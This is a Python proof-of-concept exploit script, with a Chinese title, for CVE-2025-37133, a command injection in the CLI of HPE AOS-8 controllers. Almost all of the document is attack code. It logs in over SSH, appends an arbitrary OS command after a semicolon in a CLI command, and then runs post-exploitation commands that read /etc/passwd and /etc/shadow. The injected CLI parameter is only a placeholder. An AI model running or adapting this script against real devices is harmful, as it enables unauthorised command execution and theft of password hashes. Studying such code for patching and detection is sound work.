CVE-2025-37133 HPE AOS-8控制器CLI命令注入漏洞

# CVE-2025-37133 - HPE AOS-8 CLI Command Injection PoC # This PoC demonstrates the authenticated command injection vulnerability # in the CLI binary of AOS-8 Controller/Mobility Conductor import paramiko import sys import time def exploit(target_host, port, username, password, cmd_payload): """ Exploit CVE-2025-37133 - Authenticated Command Injection in AOS-8 CLI Args: target_host: IP address of the AOS-8 controller port: SSH port (default: 22) username: Valid admin/operator username password: Valid password for the user cmd_payload: OS command to inject through the vulnerable CLI parameter """ client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: # Step 1: Authenticate to the AOS-8 controller via SSH print(f"[*] Connecting to {target_host}:{port}...") client.connect(target_host, port=port, username=username, password=password, timeout=10) print("[+] Authentication successful") # Step 2: Open interactive shell session shell = client.invoke_shell() time.sleep(2) # Step 3: Wait for CLI prompt output = shell.recv(65535).decode('utf-8', errors='ignore') print(f"[*] Received prompt: {output[-100:]}") # Step 4: Inject malicious command via vulnerable CLI parameter # The injection uses shell metacharacters to break out of the intended command # and execute arbitrary OS commands as privileged user injected_cmd = f"show command <vulnerable_param> ; {cmd_payload}\n" print(f"[*] Sending injected command: {injected_cmd.strip()}") shell.send(injected_cmd) time.sleep(3) # Step 5: Read the output of the injected command output = shell.recv(65535).decode('utf-8', errors='ignore') print(f"[+] Command output:\n{output}") # Step 6: Execute post-exploitation commands post_cmds = [ "cat /etc/passwd", "whoami", "id", "cat /etc/shadow" ] for cmd in post_cmds: shell.send(f"{cmd}\n") time.sleep(1) output = shell.recv(65535).decode('utf-8', errors='ignore') print(f"[+] {cmd}: {output.strip()}") shell.close() client.close() return True except paramiko.AuthenticationException: print("[-] Authentication failed - valid credentials required") return False except Exception as e: print(f"[-] Exploitation failed: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target> <port> <username> <password> [cmd]") print(f"Example: {sys.argv[0]} 192.168.1.1 22 admin password123 'id'") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) username = sys.argv[3] password = sys.argv[4] payload = sys.argv[5] if len(sys.argv) > 5 else "id" exploit(target, port, username, password, payload)